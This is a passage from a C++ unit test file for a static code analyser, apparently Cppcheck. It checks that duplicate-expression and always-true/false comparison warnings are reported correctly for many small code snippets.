y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n 